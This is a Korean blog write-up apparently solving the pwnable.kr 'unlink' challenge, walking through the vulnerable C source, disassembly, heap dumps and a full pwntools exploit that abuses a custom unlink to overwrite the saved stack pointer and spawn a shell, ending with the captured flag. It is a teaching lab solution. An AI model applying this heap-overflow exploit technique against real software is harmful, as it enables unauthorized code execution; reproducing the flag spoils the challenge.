시작
안녕하세요!! :D
정보보안산업기사 필기가 1주일밖에 남지 않았지만.. 포너블은 쉬면 금방 까먹잖아요?? ㅎㅎ
무슨 문젤 풀까 고민하다가 오랜만에 pwnable.kr 들어가보니 딱!! unlink가 있었습니다.
안 그래도 heap 영역 공부하다가 끊긴 느낌이라 찝찝했는데
이 친구 풀면서 정리하려고 해요.
시작해보죠!!
Write UP
바이너리를 실행해봐요.
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_unlink# ./unlink
here is stack address leak: 0xfffa8e54
here is heap address leak: 0x93f2410
now that you have leaks, get shell!
aaaa
스택이랑 힙 주소 하나를 던져주고 쉘을 따라고 합니다.
별거 없는 듯 하니 바로 코드를 보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
우리가 알고 있는 unsafe unlink, Double Free bug 취약점은 동적 영역을 할당 후 free를 연속적으로 행할 때 나타나죠?
그런데 이 바이너리에선 사용자 정의 함수로 unlink를 선언하고
B 청크에 unlink를 먹여버렸어요.
A - B - C가 더블 링크드 리스트로 묶이기 때문에 unlink(B)를 실행하면 A의 fd와 C의 bk가 덮이면서
B와의 연결이 끊어지게 돼요.
gets()
에 의해 A 청크에서 BOF가 터지고, 여기서 B의 fd, bk값을 조작할 수 있으니깐
특정 함수의 got를 덮거나 스택을 어찌어찌 조작해서 shell()
함수로 넘기면 끝이겠네요.
어셈블리어로 뜯어봅시다!
.
.
0x080485d7 <+168>: add esp,0x10
0x080485da <+171>: mov eax,DWORD PTR [ebp-0x14]
0x080485dd <+174>: add eax,0x8
0x080485e0 <+177>: sub esp,0xc
0x080485e3 <+180>: push eax
0x080485e4 <+181>: call 0x8048390 <gets@plt>
0x080485e9 <+186>: add esp,0x10
0x080485ec <+189>: sub esp,0xc
0x080485ef <+192>: push DWORD PTR [ebp-0xc]
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
End of assembler dump.
main의 주절주절한 부분은 다 짤라버리고, gets()
와 unlink()
부분입니다.
gdb-peda$ pd unlink
Dump of assembler code for function unlink:
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: sub esp,0x10
0x0804850a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804850d <+9>: mov eax,DWORD PTR [eax+0x4]
0x08048510 <+12>: mov DWORD PTR [ebp-0x4],eax
0x08048513 <+15>: mov eax,DWORD PTR [ebp+0x8]
0x08048516 <+18>: mov eax,DWORD PTR [eax]
0x08048518 <+20>: mov DWORD PTR [ebp-0x8],eax
0x0804851b <+23>: mov eax,DWORD PTR [ebp-0x8]
0x0804851e <+26>: mov edx,DWORD PTR [ebp-0x4]
0x08048521 <+29>: mov DWORD PTR [eax+0x4],edx
0x08048524 <+32>: mov eax,DWORD PTR [ebp-0x4]
0x08048527 <+35>: mov edx,DWORD PTR [ebp-0x8]
0x0804852a <+38>: mov DWORD PTR [eax],edx
0x0804852c <+40>: nop
0x0804852d <+41>: leave
0x0804852e <+42>: ret
End of assembler dump.
unlink() 함수입니다.
과정을 하나하나 따라가보면 ebp-0x4 위치에 B의 bk값, ebp-0x8 위치에 B의 fd값이 들어가요.
힙 영역의 메모리 맵도 볼까요?
gdb-peda$ x/20wx 0x812e410
0x812e410: 0x0812e440 0x00000000 0x61616161 0x00000000
0x812e420: 0x00000000 0x00000019 0x0812e440 0x0812e410
0x812e430: 0x00000000 0x00000000 0x00000000 0x00000019
0x812e440: 0x00000000 0x0812e410 0x00000000 0x00000000
0x812e450: 0x00000000 0x00020bb1 0x00000000 0x00000000
prev_size와 size 필드가 안보이네요?! 바로 청크의 fd, bk값이 들어있는 것을 알 수 있습니다.
0x0804851b <+23>: mov eax,DWORD PTR [ebp-0x8]
0x0804851e <+26>: mov edx,DWORD PTR [ebp-0x4]
0x08048521 <+29>: mov DWORD PTR [eax+0x4],edx
이 부분을 보면 fd + 4 = bk 연산을 확인할 수 있네요.
0x08048524 <+32>: mov eax,DWORD PTR [ebp-0x4]
0x08048527 <+35>: mov edx,DWORD PTR [ebp-0x8]
0x0804852a <+38>: mov DWORD PTR [eax],edx
마찬가지로 bk = fd 연산이 보입니다.
따라서!! 이 바이너리의 unlink 함수는 fd + 4 = bk
, bk = fd
연산을 수행합니다.
leak 되는 힙 영역에 shell()로 뛰는 쉘코드를 넣고 fd에 ret 값을 넣어주려고 했더니..
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ㅎㅎ.. NX.. 다른 방법을 찾아야겠네요.
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
다시, main의 에필로그입니다.
leave ret이 바로 나오는 것이 아니라, ecx 레지스터를 이용해서 스택을 정리하네요.
main+208 부분부터 보면 ecx에 ebp-0x4 값을 넣어주고
ecx-0x4에 들어있는 값으로 ret이 이루어지는 것을 확인할 수 있습니다.
그렇다면!! ebp-0x4 영역에 shell()을 가리키는 포인터 + 4의 값이 들어간다면 익스가 성공하겠네요.
이 포인터는 힙 영역의 data 부분에 shell()의 주소를 써주면 만들 수 있습니다.
이제 ebp-0x4에 값을 넣어야 하는데..
unlink 매크로를 이용해 원하는 곳에 값을 쓸 수 있죠?? fd+4=bk, bk=fd 연산을 이용해서요!!
먼저 leak 되는 스택 주소와 ebp-0x4가 얼마나 차이나나 보겠습니다.
here is stack address leak: 0xffa95454
here is heap address leak: 0x9a1e410
now that you have leaks, get shell!
aaaa
.
.
gdb-peda$ x/wx $ebp-0x4
0xffa95464: 0xffa95480
leak되는 스택 주소 + 0x10 = ebp-0x4 영역이네요.
fd엔 leak되는 스택 주소 + 0xc를 넣어줍시다. fd + 4 = bk니까요!!
bk엔 leak되는 힙 주소 + 0x8 + 0x4 값을 주겠습니다.
8만큼 가면 data 영역에 접근할 수 있고, ecx-0x4 연산 때문에 4만큼을 더 주는거에요.
from pwn import *
p = process("/home/unlink/unlink")
#context.log_level = "debug"
shell = 0x80484eb
payload = ""
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvuntil("\n"), 16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvuntil("\n"), 16)
log.info(hex(stack_addr))
log.info(hex(heap_addr))
payload += p32(shell)
payload += "\x90" * (16 - len(payload))
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12)
p.sendline(payload)
sleep(0.5)
p.interactive()
unlink@prowl:/tmp/powerco3e-lch$ python ex.py
[+] Starting local process '/home/unlink/unlink': pid 305283
[*] 0xffc484e4
[*] 0x8ec2410
[*] Switching to interactive mode
now that you have leaks, get shell!
$ id
uid=1094(unlink) gid=1094(unlink) egid=1095(unlink_pwn) groups=1095(unlink_pwn),1094(unlink)
$ cat /home/unlink/flag
conditional_write_what_where_from_unl1nk_explo1t
Exploit!!
마무리
NX 안 보고 쉘코드 왜 안 되는거야.. 만 생각해서 많은 시간을 날렸습니다 ㅠㅠ
unlink 취약점에 이제 좀 익숙해진 것 같네요.
힙이 친근하게 보여서 다행이지만.. 아직도 배울 게 많은 영역입니다 ㅎㅎ..
감사합니다!! :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] asm (0) | 2019.09.13 |
---|---|
[pwnable.kr] horcruxes (0) | 2019.06.29 |
[pwnable.kr] fsb (0) | 2019.06.26 |
[pwnable.kr] unexploitable (0) | 2019.06.20 |
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |